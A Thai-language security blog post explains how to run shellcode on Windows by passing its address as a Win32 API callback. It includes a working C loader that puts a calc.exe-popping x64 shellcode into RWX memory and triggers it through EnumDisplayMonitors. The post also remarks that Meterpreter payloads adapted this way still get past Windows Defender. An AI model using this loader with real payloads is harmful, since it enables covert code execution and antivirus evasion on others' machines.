การเรียกใช้งาน Shellcode ผ่านฟังก์ชัน Callback บน Win32 API

Datafarm
4 min readSep 7, 2022

สวัสดีผู้อ่านทุกท่าน กลับมาพบกันอีกครั้งนะครับ ก่อนหน้านี้ผมได้ไปเห็นบทความที่พูดถึงการ Execute Shellcode ผ่านฟังก์ชัน Callback ด้วย Win32 API ซึ่งดูเป็นไอเดียที่น่าสนใจดี เป็นการมาเล่นกับรูปแบบการทำงานกับ Callback function (บทความต้นทางจะอยู่ที่ [-1] และ [0]) และยังไม่ค่อยมีคนพูดถึงกันมากนัก จึงตัดสินใจนำมาเล่าสู่กันฟัง

โดยเริ่มแรกจะมาอธิบายถึงความหมายของ 2 คำ ที่ได้เกริ่นไปก่อนหน้านี้ สำหรับคนที่ยังไม่คุ้นเคยจะได้เข้าใจได้ตรงกัน คือ

1. Shellcode คือ ส่วนของคำสั่งที่ต้องการจะให้ทำงานที่ระบบเป้าหมายเมื่อการโจมตีสำเร็จ เช่น Spawn shell, Reverse shell, Blind shell, หรือแม้กระทั่งคำสั่งบนระบบปฏิบัติการทั่วไป

2. Callback function คือ ฟังก์ชันที่จะถูกส่งไปในรูปแบบ Address ของ Callback function

ต่อมาสำหรับการเขียนโปรแกรม Win32 API จะมีโครงสร้างและรูปแบบการเรียกใช้งานซึ่งสามารถดูได้จากเว็บไซต์ของ Microsoft โดยจะยกตัวอย่างสัก 1–2 ฟังก์ชัน

ฟังก์ชันแรกจะเป็น FindWindowA ที่ใช้ค้นหา Title ของโพรเซสที่รันอยู่ซึ่งน่าจะเห็นภาพตามกันง่ายหน่อย

HWND FindWindowA(
[in, optional] LPCSTR lpClassName,
[in, optional] LPCSTR lpWindowName
);
Ref: [1]

ฟังก์ชันต่อมาก็คือ MessageBox ที่ใช้สำหรับแสดง Dialog box รูปแบบต่าง ๆ ที่หน้าจอเพื่อติดต่อกับผู้ใช้งาน

[in, optional] HWND    hWnd,
[in, optional] LPCTSTR lpText,
[in, optional] LPCTSTR lpCaption,
[in] UINT uType
);
Ref: [2]

ตัวอย่าง การนำฟังก์ชัน FindWindow และ MessageBox มาใช้งานร่วมกันแบบง่าย ๆ

#include <windows.h>
#include <stdio.h>

void main()
{
HWND hwnd = NULL;
char title[] = "Windows PowerShell";
hwnd = FindWindow(NULL, L"Windows PowerShell");
if (hwnd == NULL) {
MessageBox(NULL, L"Not Found", L"", MB_ICONERROR);
}
else {
MessageBox(NULL, L"Found", L"", MB_ICONINFORMATION);
}
}

การทำงาน คือ ค้นหาข้อความบน Title bar ของแอปพลิเคชันที่มีการใช้งานอยู่ และแสดง Dialog box ขึ้นมาแจ้งผล โดยตัวอย่างจะเป็นการค้นหาข้อความ Title ที่มีคำว่า “Windows PowerShell”

และภาพต่อมาจะเป็นการค้นหาข้อความ “Windows PowerShellX” ซึ่งไม่มีอยู่จริง

จากตัวอย่าง Source code และภาพด้านบนน่าจะพอทำให้เห็นภาพและรูปแบบของ Win32 API แบบคร่าว ๆ ได้มากขึ้น

ต่อมาจะเป็นตัวอย่างของการเรียกใช้งานฟังก์ชัน Callback ของภาษาอื่นอย่าง JavaScript ที่น่าจะทำให้เข้าใจ Concept ได้ง่ายขึ้น

function greeting(name) {
alert(`Hello, ${name}`);
}

function processUserInput(callback) {
const name = prompt('Please enter your name.');
callback(name);
}

processUserInput(greeting);
Ref: [3]

และอีกตัวอย่างหนึ่ง คือ

const message = function() {  
console.log("This message is shown after 3 seconds");
}

setTimeout(message, 3000);
Ref: [4]

ตัวอย่าง การเขียน Callback บน C++ ที่ใช้ค้นหาแอปพลิเคชันที่ใช้งานอยู่

Syntax และการเรียกใช้งานฟังก์ชัน EnumWindows

BOOL EnumWindows(
[in] WNDENUMPROC lpEnumFunc,
[in] LPARAM lParam
);

โดยที่ Document ได้มีการระบุถึง Parameter ที่เป็น Callback function

ตัวอย่างการนำมาใช้งาน

#include <string>
#include <iostream>
#include <windows.h>

static BOOL CALLBACK enumWindowCallback(HWND hwnd, LPARAM lparam) {
int length = GetWindowTextLength(hwnd);
TCHAR* buffer = new TCHAR[length + 1];
GetWindowTextW(hwnd, buffer, length + 1);
std::wstring windowTitle(buffer);
std::string title(windowTitle.begin(), windowTitle.end());

if (IsWindowVisible(hwnd) && length != 0) {
std::cout << hwnd << ": " << title << std::endl;
}
return TRUE;
}

int main() {
std::cout << "Enmumerating windows..." << std::endl;
EnumWindows(enumWindowCallback, NULL);
std::cin.ignore();
return 0;
}
Ref: [5]

จากตัวอย่างที่ผ่านมาจะพอเห็นภาพของการเรียกใช้งาน Win32 API และการทำงานของ Callback function ซึ่งถ้าพอคุ้นเคยหรือนึกภาพของ Call Convention บน Memory Layout ออก จะพอเข้าใจได้ว่าเมื่อใดก็ตามที่จะมีการเรียกใช้งานฟังก์ชันอื่น ที่ระบบปฏิบัติการจะต้องมีการหยอด Address ของ Callback ลงบน Memory Stack ก่อนที่ Instruction Pointer (IP) จะชี้ไปที่ Address ดังกล่าวและเข้าถึงข้อมูลที่ Address นั้น ๆ ซึ่ง Concept ที่เราจะกำลังทำนี้ คือ การใส่ Address ของ Shellcode แล้วส่งต่อเป็น Parameter ให้กับฟังก์ชันที่มีการกำหนดเรียกใช้งาน Callback function นั่นเอง

จากนั้นนำ Concept ดังกล่าวมาใช้งาน โดยได้นำ Example code มาจาก [1] (โดยที่แหล่งต้นทางจะมีการพูดถึงและอ้างอิงถึงฟังก์ชันอื่น ๆ ของ Win32 API ที่ได้รับผลกระทบแบบเดียวกันด้วย แต่ในบทความนี้จะยกตัวอย่างเพียงแค่ EnumDisplayMonitors เท่านั้น) และนำ Shellcode ที่เรียก calc.exe จาก [6] มารวมกัน สำหรับการทำงานของ Source code คือ จอง Memory และหยอด Shellcode ลงไปพร้อมกับกำหนด Permission ให้เป็น RWX

#include <windows.h>
#include <stdio.h>

int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}

unsigned char op[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";

int main() {

LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, op, sizeof(op));
::EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)addr, NULL);
}

ผลที่ได้ คือ ตอนนี้สามารถที่จะเปิดโปรแกรม calc.exe แบบคูล ๆ ได้แล้ว

จากนั้นมาลองประยุกต์กับ Meterpreter ปรับแต่ง Options นิด ๆ หน่อย ก็ยังพอใช้กับ Windows Defender ได้อยู่ แต่ถ้าต้องการ Bypass Security Protection อย่างพวก AV หรือพวก EDR นั้นก็จะมีการตรวจสอบที่หลายรูปแบบ ซึ่งการทำแบบนี้ตรง ๆ โดนหมายหัวได้โดยง่าย อาจจะต้องใช้การทำงานหลาย ๆ รูปแบบมาประยุกต์อีกที

ตัวอย่าง การลองใช้ Shellcode แบบ Blind shell แทนการใช้งานแบบ Reverse shell ที่จะโดนจับได้โดยง่าย เพราะมันตรงไปตรงมานั่นเอง

บทความนี้หลัก ๆ แล้วไม่ได้มีอะไรซับซ้อนและไม่ได้หวือหวาอะไร แต่ดูเป็นไอเดียที่ดี อีกทั้งยังสามารถนำไปประยุกต์ใช้กับการเขียนรูปแบบอื่น ๆ รวมถึงนำไอเดียเหล่านี้ไปค้นหาจุดใหม่ ๆ ที่อาจจะทำงานคล้าย ๆ กันได้ หวังว่าบทความนี้จะเป็นประโยชน์ไม่มากก็น้อยนะครับ

อ้างอิง

[-1] Executing Shellcode via Callbacks (https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/)

[0] Running Shellcode Through Windows Callbacks (https://marcoramilli.com/2022/06/15/running-shellcode-through-windows-callbacks/)

[1] FindWindowA function (https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-findwindowa)

[2] MessageBox function (https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox)

[3] Callback function (https://developer.mozilla.org/en-US/docs/Glossary/Callback_function)

[4] JavaScript Callback Functions — What are Callbacks in JS and How to Use Them (https://www.freecodecamp.org/news/javascript-callback-functions-what-are-callbacks-in-js-and-how-to-use-them)

[5] How can I get EnumWindows to list all windows? (https://stackoverflow.com/a/51731567)

[6] Windows/x64 — Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) (https://www.exploit-db.com/shellcodes/49819)

[7] Calling Conventions Hakim Weatherspoon CS 3410 Computer Science Cornell University (https://www.cs.cornell.edu/courses/cs3410/2019sp/schedule/slides/10-calling-notes.pdf)

--

--

No responses yet